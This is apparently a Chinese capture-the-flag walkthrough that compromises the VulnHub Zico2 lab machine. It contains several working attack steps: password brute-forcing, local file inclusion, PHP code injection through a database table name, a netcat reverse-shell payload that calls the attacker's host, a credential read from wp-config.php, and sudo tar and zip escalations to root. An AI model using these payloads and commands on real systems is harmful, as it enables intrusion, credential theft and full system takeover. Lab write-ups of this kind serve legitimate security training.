ZICO靶机下载地址:https://www.vulnhub.com/entry/zico2-1,210/
渗透过程
(1) arp-scan扫描
NAT模式下,arp-scan扫描出靶机的IP:192.168.65.134
(2) Nmap扫描
获取开放端口及服务的全部信息
浏览器打开开启的网站
界面如下,是一个网络购物平台的网站。
(3) Dirb爆破
命令:dirb http://192.168.65.134
爆破结果发现类似于数据库管理后台的目录
访问此目录,发现敏感文件test_db.php
点击打开这个php文件,进入到phpLiteAdmin后台管理网站
进行弱口令测试
Nmap进行网站密码爆破
Nmap -p 80 --script http-form-brute --script-args http-form-brute.path=/dbadmin/test_db.php 192.168.65.134 -d
这里也可以使用hydra爆破工具直接爆破出网站登陆口令
存在弱口令:admin
利用爆破出来的admin成功登陆后台管理网站
存在数据库管理后台弱口令漏洞
发现两个账户root和zico,密码进行了加密
MD5破解可得两个账户的密码
(4) ZAP对网站进行漏洞扫描
发现文件包含漏洞
漏洞位置:http://192.168.65.134/view.php?page=…/…/…/…/…/etc/password
信息收集完毕。
(5)Searchsploit phpLiteAdmin查看PHP代码注入漏洞
cat /usr/share/exploitdb/exploits/php/webapps/24044.txt
查看渗透手册根据步骤完成漏洞利用
(6)经过前面的信息收集和漏洞测试,就可以利用已发现的文件包含漏洞,尝试上传木马,获取webshell。
首先尝试把一句话木马写在表名上
<?php phpinfo();?>
浏览器访问http://192.168.65.134/view.php?page=…/…/…/…/…/usr/databases/1.php,成功触发一句话木马。
随后建立一个新的数据库hack.php,创建新的表1,并将反弹shell写入默认字段中。
反弹shell为:
<?php
passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.65.128 8888 >/tmp/f");
?>
随后nc监听8888端口,浏览器访问
http://192.168.65.134/view.php?page=…/…/…/…/…/usr/databases/hack.php
获取反弹shell
这个shell只是单向的,并不是交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
获取交互shell,致此获得了一个相对权限较低的用户www-data控制权
(7)接下来进行提权操作
这个靶机名字叫zico,拿到反弹shell之后搜一下靶机上有没有和zico相关的文件或者文件夹:
find / -name "*zico*" 2>/dev/null
进入/home/zico,发现有wordpress的文件夹里面可能会有配置文件
进入wordpress文件夹,发现配置文件wp-config.php
这里zico是有权限打开这个配置文件的,直接cat打开,发现应该是系统用户的账号和密码
账号:zico
密码:sWfCsfJSPV9H3AmQzw8
前面靶机还开启了ssh服务,用刚刚这个账户远程登陆,可以远程登陆ssh
ssh 主机名@<IP> 密码
现在的用户更改为了系统用户zico
随后进行sudo -l
这里给出了两种提升权限的方法tar和zip
先使用第一种tar提权法:
sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
成功提权到root用户。
再尝试一下第二种zip提权法:
sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
也成功提权到root用户